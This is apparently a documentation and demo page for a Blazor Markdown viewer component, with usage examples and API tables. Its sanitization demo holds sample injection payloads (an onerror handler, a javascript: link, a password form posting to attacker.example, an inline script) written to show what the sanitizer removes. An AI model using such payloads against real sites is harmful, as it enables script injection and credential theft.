DwsMarkdownViewer
Renders Markdown as sanitized, themed HTML - with syntax-highlighted code, a table of contents, lazy loading and a shared cache.
API ReferenceBasic
MarkdownContent is rendered with GitHub's extensions by default: tables with column alignment, task lists, footnotes, emoji shortcodes, strikethrough, bare links and alert blocks. Headings get anchors, so # links (and the footnote links) scroll within the page instead of navigating.
Release notes
DwsMarkdownViewer renders GitHub-flavoured Markdown with emphasis, strikethrough, inline code and bare links like https://github.com.
Headings get anchors: this link to the checklist scrolls within the page.
What's new 🎉
| Feature | Status | Since |
|---|---|---|
| Tables | ✓ | 1.0 |
| Task lists | ✓ | 1.0 |
| Footnotes1 | ✓ | 1.1 |
Checklist
string html = Markdown.ToHtml(source, pipeline);
-
Collected at the end of the document.↩
Show Code
MarkdownViewer.razor
<DwsMarkdownViewer Name='MarkdownViewerDemo_Basic' MarkdownContent='@_basicMarkdown' />MarkdownViewer.razor.cs
private const string _basicMarkdown = """
# Release notes
DwsMarkdownViewer renders **GitHub-flavoured Markdown** with *emphasis*, ~~strikethrough~~, `inline code` and bare links like https://github.com.
> [!TIP]
> Headings get anchors: [this link to the checklist](#checklist) scrolls within the page.
## What's new :tada:
| Feature | Status | Since |
|:--------|:------:|------:|
| Tables | ✓ | 1.0 |
| Task lists | ✓ | 1.0 |
| Footnotes[^1] | ✓ | 1.1 |
## Checklist
- [x] Parse the Markdown
- [x] Sanitize the HTML
- [ ] Ship it
```csharp
string html = Markdown.ToHtml(source, pipeline);
```
[^1]: Collected at the end of the document.
""";Custom pipeline
For extensions of your own, start a pipeline from DwsMarkdownViewer.CreatePipelineBuilder and pass it as Pipeline - here Markdig's JIRA link extension turns issue keys into links. Keep pipelines in static fields: the shared cache tells them apart by instance.
Show Code
MarkdownViewer.razor
<DwsMarkdownViewer Name='MarkdownViewerDemo_Pipeline' MarkdownContent='@_pipelineMarkdown' Pipeline='@_jiraPipeline' BorderWidth='1' Padding='16' />MarkdownViewer.razor.cs
using Markdig;
using Markdig.Extensions.JiraLinks;
// Built once, in a static field: the cache tells pipelines apart by instance, so a pipeline per page instance would
// never share its output.
private static readonly MarkdownPipeline _jiraPipeline = DwsMarkdownViewer.CreatePipelineBuilder()
.UseJiraLinks(new JiraLinkOptions("https://issues.example.com"))
.Build();
private const string _pipelineMarkdown = """
## Sprint notes
- DWS-144 refactors the Markdown viewer.
- DWS-165 was the slider.
Issue keys become links to the tracker.
""";Custom renderer
Renderer replaces Markdig altogether; its output still goes through the sanitizer, heading ids and highlighting. Here it fills in placeholders before rendering. Keep renderers in static methods: the shared cache tells them apart by instance.
Welcome, Alex
You are running version 0.1.4.
The renderer fills the placeholders, then hands the text to Markdig.
Show Code
MarkdownViewer.razor
<DwsMarkdownViewer Name='MarkdownViewerDemo_Renderer' MarkdownContent='@_rendererMarkdown' Renderer='RenderWithPlaceholders' BorderWidth='1' Padding='16' />MarkdownViewer.razor.cs
using Markdig;
private static readonly MarkdownPipeline _placeholderPipeline = DwsMarkdownViewer.CreatePipelineBuilder().Build();
// A static method: its output is cached and shared, so it may depend on the Markdown alone. An instance method would be
// cached per page instance, a lambda capturing locals would be a new renderer on every render.
private static string RenderWithPlaceholders(string markdown) =>
Markdown.ToHtml(markdown.Replace("{{user}}", "Alex", StringComparison.Ordinal).Replace("{{version}}", "0.1.4", StringComparison.Ordinal), _placeholderPipeline);Sanitization
Markdown may contain HTML, and the HTML may contain scripts. The rendered HTML therefore goes through a sanitizer by default (Sanitize): scripts, event handlers, javascript: URLs, frames, forms and styles that could move content over the page are removed, classes are narrowed to an allow-list, ids get a user-content- prefix. AllowRawHtml=false shows HTML as text instead. SanitizeCallback replaces the built-in sanitizer; if it throws, a notice is shown instead of the content. Sanitize=false is for content you fully trust - in the last column the injected script and image handler run and write a line into the page.
Sanitized (default)
AllowRawHtml = false
Harmless Markdown stays.
<img src="data:," alt="" onerror="this.insertAdjacentText('afterend', 'An injected event handler ran!')">
<a href="javascript:alert('xss')">A javascript: link</a>
<form action="https://attacker.example/steal"><input name="password" placeholder="Password"><button>Log in</button></form>
<script>document.currentScript.insertAdjacentText('afterend', 'An injected script ran!');</script>
Failing SanitizeCallback
This content could not be displayed.
Sanitize = false
Show Code
MarkdownViewer.razor
<DwsMarkdownViewer Name='MarkdownViewerDemo_Sanitize_Default' MarkdownContent='@_untrustedMarkdown' BorderWidth='1' BorderColor='DwsColor.Success' Padding='12' />
<DwsMarkdownViewer Name='MarkdownViewerDemo_Sanitize_NoHtml' MarkdownContent='@_untrustedMarkdown' AllowRawHtml='false' BorderWidth='1' BorderColor='DwsColor.Success' Padding='12' />
<DwsMarkdownViewer Name='MarkdownViewerDemo_Sanitize_Failing' MarkdownContent='@_untrustedMarkdown' SanitizeCallback='FailingSanitizer' BorderWidth='1' BorderColor='DwsColor.Warning' Padding='12' />
@* Trusted content only: its scripts and event handlers run in the page. *@
<DwsMarkdownViewer Name='MarkdownViewerDemo_Sanitize_Off' MarkdownContent='@_untrustedMarkdown' Sanitize='false' BorderWidth='1' BorderColor='DwsColor.Error' Padding='12' />MarkdownViewer.razor.cs
// The script and the image handler write into the page instead of opening a dialog: in the Sanitize=false column
// they do run.
private const string _untrustedMarkdown = """
Harmless **Markdown** stays.
<img src="data:," alt="" onerror="this.insertAdjacentText('afterend', 'An injected event handler ran!')">
<a href="javascript:alert('xss')">A javascript: link</a>
<form action="https://attacker.example/steal"><input name="password" placeholder="Password"><button>Log in</button></form>
<script>document.currentScript.insertAdjacentText('afterend', 'An injected script ran!');</script>
""";
private static string FailingSanitizer(string html) =>
throw new InvalidOperationException("The sanitizer service is unavailable.");
// Any Func<string, string> works - e.g. a configured Ganss.Xss.HtmlSanitizer. For HTML shown elsewhere,
// DwsMarkdownViewer.SanitizeHtml(html) applies the viewer's built-in policy.Table of contents
ShowTableOfContents lists the document's headings from TableOfContentsMinLevel to TableOfContentsMaxLevel. TableOfContentsPosition puts it above the content or in a column before or after it - a side column moves above the content when the viewer is narrower than 40rem, and stays in view while the document scrolls. With MaxHeight the viewer scrolls its own content and can be scrolled with the keyboard. Headings lists every heading of the document for a navigation of your own, and ScrollToHeadingAsync scrolls to one - the button keeps the focus, a link moves it to the heading.
Handbook
Everything about running the demo application.
Installation
Add the package and register the services.
Server
Call AddDWSComponentLibraryServicesServer() in Program.cs. The Markdown cache is registered with the other library services.
WebAssembly
Call AddDWSComponentLibraryServicesClient() instead. In the browser the cache belongs to one user.
Configuration
Most components work without any configuration. A few read options:
Cache options
Register a DwsMarkdownCacheOptions instance before the library services to change the size limits or give entries a lifetime.
Localization
Texts come from the library's language files and follow the language switch.
Adding a language
Provide another language file with the same keys.
Usage
Put a DwsMarkdownViewer on a page and pass it the Markdown.
Tables of contents
The table of contents lists the headings from TableOfContentsMinLevel to TableOfContentsMaxLevel.
Links between sections
A link such as back to the installation scrolls to the heading.
FAQ
Does it run scripts from the Markdown?
No - the output is sanitized unless you switch that off.
Can I use my own Markdig extensions?
Yes, pass a pipeline of your own.
Show Code
MarkdownViewer.razor
<DwsSelect Name='MarkdownViewerDemo_Toc_Position' T='DwsMarkdownTocPosition' Label='Position' @bind-Value='@_tocPosition' Options='@_tocPositionOptions' />
<DwsSelect Name='MarkdownViewerDemo_Toc_MaxLevel' T='int' Label='Deepest level' @bind-Value='@_tocMaxLevel' Options='@_tocLevelOptions' />
<DwsButton Name='MarkdownViewerDemo_Toc_ScrollButton' Appearance='DwsAppearance.Outline' ButtonSize='DwsSize.Small' OnClick='ScrollToConfigurationAsync'>ScrollToHeadingAsync("configuration")</DwsButton>
<DwsMarkdownViewer @ref='_tocViewer' Name='MarkdownViewerDemo_Toc' MarkdownContent='@_handbookMarkdown'
ShowTableOfContents='true' TableOfContentsPosition='@_tocPosition' TableOfContentsMaxLevel='@_tocMaxLevel'
MaxHeight='420' BorderWidth='1' Padding='16' />MarkdownViewer.razor.cs
private DwsMarkdownTocPosition _tocPosition = DwsMarkdownTocPosition.Start;
private int _tocMaxLevel = 3;
private DwsMarkdownViewer? _tocViewer;
private static readonly IReadOnlyList<DwsSelectOptionData<DwsMarkdownTocPosition>> _tocPositionOptions =
[
new() { Value = DwsMarkdownTocPosition.Top, Text = "Top" },
new() { Value = DwsMarkdownTocPosition.Start, Text = "Start" },
new() { Value = DwsMarkdownTocPosition.End, Text = "End" },
];
private static readonly IReadOnlyList<DwsSelectOptionData<int>> _tocLevelOptions =
[
new() { Value = 2, Text = "2 (##)" },
new() { Value = 3, Text = "3 (###)" },
new() { Value = 4, Text = "4 (####)" },
];
// The plain anchor works as well as the sanitized id (user-content-configuration) from Headings. The focus stays on
// the button here; the default moves it to the heading, as following a link does.
private async Task ScrollToConfigurationAsync()
{
if (_tocViewer != null)
{
await _tocViewer.ScrollToHeadingAsync("configuration", moveFocus: false);
}
}Theming and size
All colours come from the theme: text, links, lines and code backgrounds follow it, so the document reads well in light and dark themes (switch the theme to see it). BackgroundColor, TextColor, LinkColor and BorderColor take theme colours; BorderWidth, Padding, Width, Height and MaxHeight take pixels.
Show Code
MarkdownViewer.razor
<DwsMarkdownViewer Name='MarkdownViewerDemo_Theme_Default' MarkdownContent='@_themeMarkdown' />
<DwsMarkdownViewer Name='MarkdownViewerDemo_Theme_Bordered' MarkdownContent='@_themeMarkdown' BorderWidth='2' BorderColor='DwsColor.Primary' Padding='16' />
<DwsMarkdownViewer Name='MarkdownViewerDemo_Theme_Primary' MarkdownContent='@_themeMarkdown' BackgroundColor='DwsColor.Primary' TextColor='DwsColor.PrimaryText' LinkColor='DwsColor.PrimaryText' Padding='16' />Size limit
MaxContentLength (100,000 characters by default) caps the Markdown a viewer renders: some inputs make the Markdown and HTML parsers slow out of proportion to their size, so an untrusted document could otherwise tie up the server. Longer content shows a localized notice instead - this document has about 150,000 characters. So does a shorter document that expands to more than 20 times its length in HTML (a long reference link used thousands of times). Raise the limit for large documents you trust, or set it to null to switch both checks off.
This document is too large to display.
Show Code
MarkdownViewer.razor
@* 150,000 characters against the default MaxContentLength of 100,000. *@
<DwsMarkdownViewer Name='MarkdownViewerDemo_Limit' MarkdownContent='@_hugeMarkdown' BorderWidth='1' Padding='12' />The same document twice: IdPrefix
Headings, footnotes and ids written in a document become element ids (prefixed with user-content-). Two viewers showing the same document - or documents with equal headings - therefore produced the same ids twice on one page. IdPrefix gives each viewer ids of its own: user-content-left-setup and user-content-right-setup below. Links inside each document (the link to 'Setup', the footnote and its way back) stay inside their own viewer. Each task-list checkbox and its text sit in a label, so a screen reader announces 'Install the SDK, checkbox, checked' instead of a bare 'checkbox, checked'.
Show Code
MarkdownViewer.razor
<DwsMarkdownViewer Name='MarkdownViewerDemo_IdPrefix_Left' MarkdownContent='@_markdown' IdPrefix='left' />
<DwsMarkdownViewer Name='MarkdownViewerDemo_IdPrefix_Right' MarkdownContent='@_markdown' IdPrefix='right' />
@* Left: <h2 id='user-content-left-setup'>, <a href='#user-content-left-setup'>
Right: <h2 id='user-content-right-setup'>, <a href='#user-content-right-setup'> *@Interface-Description
| Name | Typ | Default | Description |
|---|---|---|---|
| Headings | IReadOnlyList<DwsMarkdownHeading> | [] | Every heading of the current document (all levels, not only those in the table of contents) in document order, with Level, Text and Id - for a navigation of your own. |
| RenderedHtml | string | string.Empty | The HTML currently shown. Empty while a lazy viewer waits, or when rendering failed or was refused. |
| IsContentLoaded | bool | false | Whether content has been rendered - false while a lazy viewer waits, or while a first render runs in the background. |
| Name | Typ | Parameters | Description |
|---|---|---|---|
| ScrollToHeadingAsync(string id, bool moveFocus = true) | Task<bool> | Scrolls the heading (or any element) with the id into view - an id from Headings or the plain anchor such as "installation" - opening a closed details element around it. With moveFocus the keyboard focus moves to it, as when following a link; pass false to keep it on the calling control. Returns whether it was found. | |
| LoadAsync() | Task | Loads a lazy viewer's content right away; completes once it is rendered - once the newest is, when the content changed meanwhile. | |
| RefreshAsync() | Task | Renders the document again ignoring the cache, and replaces its cache entry; completes once it is rendered. To refresh every viewer, use IDwsMarkdownCache.Invalidate or Clear. | |
| CreatePipelineBuilder(DwsMarkdownExtensions extensions = DwsMarkdownExtensions.Default, bool allowRawHtml = true) | static MarkdownPipelineBuilder | A Markdig pipeline builder with the extensions already added - add your own and pass the built pipeline as Pipeline. Alert titles are left empty in its output; the viewer fills them in the reader's language. Its links count against the output limit (see MaxContentLength). | |
| SanitizeHtml(string html) | static string | The viewer's built-in sanitizer on its own, for HTML shown elsewhere. Fails closed: markup nested deeper than 509 levels, or an element with more than 1,000 attributes, gives an empty string. | |
| [JSInvokable] HandleLazyVisible() | Task | Called by the browser when a lazy viewer comes into view. Public only for JS interop - use LoadAsync. |
| Name | Typ | Default | Description |
|---|---|---|---|
| MarkdownContent | string | string.Empty | The Markdown to show. |
| Extensions | DwsMarkdownExtensions | DwsMarkdownExtensions.Default | The Markdig extensions to render with, as flags: PipeTables, GridTables, Footnotes, Emoji, TaskLists, AutoLinks, EmphasisExtras, Abbreviations, DefinitionLists, Figures, Citations, CustomContainers, GenericAttributes, Mathematics, MediaLinks, SmartyPants, HardLineBreaks, YamlFrontMatter, AlertBlocks, Diagrams, ListExtras, Footers. Default is what GitHub renders, None plain CommonMark, All everything. Headings get GitHub-compatible ids in any case. Ignored with Pipeline or Renderer. |
| Pipeline | MarkdownPipeline? | null | A Markdig pipeline of your own, e.g. with custom extensions - start from CreatePipelineBuilder to keep the library's. Replaces Extensions and AllowRawHtml. Keep it in a static field: the cache tells pipelines apart by instance, so one built per component instance is never shared. |
| Renderer | Func<string, string>? | null | Replaces Markdig: receives the Markdown and returns the HTML. The result still goes through sanitizing, heading ids, the table of contents and highlighting. Pass a static method or a delegate in a static field: an instance method is cached per component instance, a lambda capturing locals is a new renderer on every render. Its output is shared through the cache - on Blazor Server across users - so it must depend on the Markdown alone; for per-user output switch EnableCache off or put what varies into CacheKey. |
| AllowRawHtml | bool | true | Whether HTML written in the Markdown is kept (and then sanitized). When false it is shown as text. Ignored with Pipeline or Renderer. |
| Sanitize | bool | true | Whether the HTML is sanitized before it reaches the page. The built-in sanitizer keeps what Markdown produces and removes scripts, event handlers, URLs with a scheme other than http, https and mailto (javascript:, data:, vbscript:, ftp: and the like - also in cite, poster and similar attributes; relative URLs stay), frames, objects, forms and form controls (task-list checkboxes stay, read-only), styles other than colour, weight, style, decoration and alignment, the attributes accesskey, tabindex, contenteditable, draggable, dropzone and name, and classes outside an allow-list; it prefixes ids - and the references to them (# links, for, headers, list, usemap) - with user-content- and adds rel="noopener noreferrer" to links opening a new window. Only switch it off for content you fully trust: unsanitized scripts and event handlers run in the page. |
| SanitizeCallback | Func<string, string>? | null | Replaces the built-in sanitizer while Sanitize is on: receives the rendered HTML and returns what is shown - whatever it lets through runs in the page, scripts included. If it throws, a localized notice is shown instead of the content and the error is logged. Cached like Renderer: pass a static method. |
| SyntaxHighlighting | bool | true | Highlights fenced code blocks with Prism, which the library loads on demand (no script tag needed); when it cannot be loaded the blocks stay plain and one warning is logged. The library's Prism build knows HTML/XML, CSS, JavaScript, TypeScript, C#, C, C++, Razor, ASP.NET, JSON, YAML, SQL, Python, PowerShell, Bash, Batch, Docker, diff, CSV, Sass/SCSS, regex, PlantUML and Arduino; load a larger Prism build for more. |
| ShowTableOfContents | bool | false | Generates a table of contents from the document's headings. Its links scroll within the page, also after the page's address changed. |
| TableOfContentsPosition | DwsMarkdownTocPosition | DwsMarkdownTocPosition.Top | Top places it above the content; Start and End in a column before or after it, which moves above the content when the viewer is narrower than 40rem and stays in view while the document scrolls (below a sticky page header, set --dws-markdown-viewer-sticky-top). A side column makes the viewer a size container: in a shrink-to-fit place (a flex row without flex-grow, inline-block) give it a Width. |
| TableOfContentsMinLevel | int | 1 | Highest heading level listed (1 = #). Clamped to 1-6. |
| TableOfContentsMaxLevel | int | 3 | Deepest heading level listed (6 = ######). Clamped to 1-6; a Min above Max is swapped and logged once. |
| TableOfContentsTitle | string? | null | Title of the table of contents. Falls back to a localized "Contents". |
| ShowHeadingLinks | bool | true | Adds a # link to every heading (shown on hover and focus) that copies the address of the page with the anchor of the heading; without clipboard access it scrolls to the heading. Added by the script of the viewer, so a statically rendered viewer has none. |
| LazyLoad | bool | false | Renders the content only once the viewer scrolls into view; until then a placeholder holds its place. Without interactivity (prerendering, static rendering) the content is rendered right away. Content once shown stays when LazyLoad is switched on later. |
| LazyLoadMargin | int | 200 | How far ahead of the visible area lazy content starts loading, in pixels - measured against the nearest element that scrolls (or the window), which itself has to be within that distance of the window. |
| PlaceholderHeight | int? | 200 | Minimum height of the placeholder shown while content loads (lazily, or in the background), in pixels. |
| MaxContentLength | int? | 100000 | Longest Markdown rendered, in characters; longer content shows a localized notice instead, and so does a document expanding to more than 20 times its length in HTML (at least 1,000,000 characters). null for no limit - only for trusted content: some inputs make the Markdown and HTML parsers slow, or the HTML large, out of proportion to their size. Documents over 50,000 characters are rendered in the background behind a placeholder (in WebAssembly, with one thread, the page waits for them), and viewers needing the same one at the same moment share the render. |
| EnableCache | bool | true | Shares the rendered output through IDwsMarkdownCache, keyed by a hash of the content and every setting that changes the output. |
| IdPrefix | string? | null | Makes the ids of this viewer's document its own: every id and every reference to one (# links, for, headers, list, usemap, the table of contents) gets it - user-content-{IdPrefix}-install. Give each viewer a different value when one page shows the same document, or documents with equal headings, more than once. Only ASCII letters, digits, '-' and '_' are used (at most 64). ScrollToHeadingAsync and links written with the plain name still find the target in this viewer. A viewer with a prefix keeps cache entries of its own. |
| CacheKey | string? | null | Groups this viewer's cache entries under a name: IDwsMarkdownCache.Invalidate(CacheKey) drops them and every viewer using them renders again. Changed content never needs it. Viewers with different names keep entries of their own. |
| CacheDuration | TimeSpan? | null | Lifetime of this viewer's cache entries. Unset, the cache's own setting applies (DwsMarkdownCacheOptions.DefaultExpiration, no expiry by default). |
| Debug | bool | false | Shows the Markdown source, the rendered HTML and render statistics (size, headings, time, cache or rendered, sanitizer) below the content, and logs every render. For development. |
| BackgroundColor | DwsColor | DwsColor.Undefined | Background colour from the theme. Undefined is transparent. |
| TextColor | DwsColor | DwsColor.Undefined | Text colour from the theme; lines, code backgrounds and focus rings are derived from it. Undefined uses the theme's text colour. |
| LinkColor | DwsColor | DwsColor.Undefined | Link colour from the theme, for a BackgroundColor the theme's link colour does not stand out against. Links are underlined as well. Undefined uses the theme's link colour. |
| BorderWidth | int? | null | Border width in pixels. No border when unset. |
| BorderColor | DwsColor | DwsColor.Undefined | Border colour from the theme. Undefined uses the theme's secondary-bright. Only visible with a BorderWidth. |
| Width | int? | null | Width in pixels. Unset, the viewer fills its container. |
| Height | int? | null | Height in pixels; the viewer scrolls its content when it is taller and becomes a named, keyboard-reachable region. |
| MaxHeight | int? | null | Maximum height in pixels; the viewer scrolls its content beyond it and becomes a named, keyboard-reachable region. |
| Padding | int? | null | Inner spacing in pixels. |
| Name | Typ | Description |
|---|---|---|
| OnRendered | EventCallback<DwsMarkdownRenderedEventArgs> | Raised once new HTML is in the page (and highlighted): after the first render, whenever the content or a setting changes the rendered HTML, and after a lazy viewer loaded. Not raised when the HTML stays the same (a changed SyntaxHighlighting, Debug or cache setting, an invalidation that renders the same document again). Carries Html, Headings, FromCache, Duration and Failed. |
| Name | Typ | Default | Description |
|---|---|---|---|
| Element | ElementReference | The associated web component. May be null if accessed before the component is rendered. | |
| ComponentGuid | Guid | Unique identifier for the component. | |
| TypeString | string | The name of the component type, obtained from reflection. | |
| Authorized_RegisterEnabled | bool | false | Indicates whether this component is enabled through a permission registry. |
| Authorized_RegisterSelected | bool | false | Indicates whether this component is selected in permission selection mode. |
| GetInitializedState | bool | false | Returns whether the component is initialized. |
| GetRenderModeState | DwsRenderMode | Returns the current render mode. | |
| GetComponentState | DwsComponentStateType | Returns the current component state. | |
| GetIsInteractiveState | bool | false | Returns whether the component is interactive. |
| GetIsPrerenderingState | bool | false | Returns whether the component is prerendering. |
| GetComponentLoadingState | bool | false | Returns whether the component is loading. |
| IsFormBusy | bool | false | Whether the DwsForm (or DwsFormBusyRegion) around the component is locked because its submit handler is running. The state itself is the cascaded FormBusyState (IDwsFormBusyState). |
| Name | Typ | Parameters | Description |
|---|---|---|---|
| DebugInfo | void | Logs debug information about the component. | |
| UpdateState | void | Updates the component's state and triggers StateHasChanged. | |
| UpdateStateAsync | Task | Asynchronously updates the component's state and triggers StateHasChanged. | |
| Dispose | void | Disposes the component and releases resources. | |
| FocusAsync | ValueTask | bool containedInScrollableList | Sets focus to the component's element. |
| Name | Typ | Default | Description |
|---|---|---|---|
| Name | string | Required unique identifier for the component within its container. | |
| Visible | bool | true | Determines if the component is visible in the UI. |
| Disabled | bool | false | Switches the viewer's links and controls off: they cannot be clicked, followed or reached with the Tab key (also without interactivity). The document stays readable - also to screen readers, find-in-page and selection; wide code blocks and tables still scroll, closed details still open. |
| ComponentNameSpace | string | The namespace for permission-based access control. | |
| PermissionKey | string? | null | A stable key that takes the place of Name in the generated permission namespace (Page.PermissionKey): the stored permission survives a rename, and components that share a key share one permission entry. Null: keyed by Name. Read once, when the component registers; an explicit ComponentNameSpace wins. |
| Class | string | Optional CSS class names. | |
| Style | string | Optional in-line styles. | |
| Tag | object | An optional user-defined object to store any additional data with the component. | |
| BackReference | DwsReference | A reference to the enclosing component. | |
| ID | string | The HTML ID attribute for the component. | |
| AdditionalAttributes | Dictionary<string, object> | Additional HTML attributes for the component's root element. | |
| IgnorePermissionChecks | bool | false | Bypasses all permission checks for this component. |
| IgnorePermissionSelection | bool | false | Ignore permission selection mode for this component. |
| IgnoreFormBusy | bool | false | Takes the component out of the submit lock of the DwsForm (or DwsFormBusyRegion) around it: IsFormBusy stays false for it. |
| Name | Typ | Description |
|---|---|---|
| OnInitializedCallbackStarted | EventCallback | Callback when OnInitialized starts. |
| OnInitializedCallback | EventCallback | Callback during OnInitialized. |
| OnInitializedCallbackCompleted | EventCallback | Callback when OnInitialized completes. |
| OnInitializedAsyncCallbackStarted | EventCallback | Callback when OnInitializedAsync starts. |
| OnInitializedAsyncCallback | EventCallback | Callback during OnInitializedAsync. |
| OnInitializedAsyncCallbackCompleted | EventCallback | Callback when OnInitializedAsync completes. |
| OnIsComponentLoadingChanged | EventCallback<bool> | Callback when IsComponentLoading changes. |
| OnCurrentRenderModeChanged | EventCallback<DwsRenderMode> | Callback when CurrentRenderMode changes. |
| OnComponentStateChanged | EventCallback<DwsComponentStateType> | Callback when ComponentState changes. |
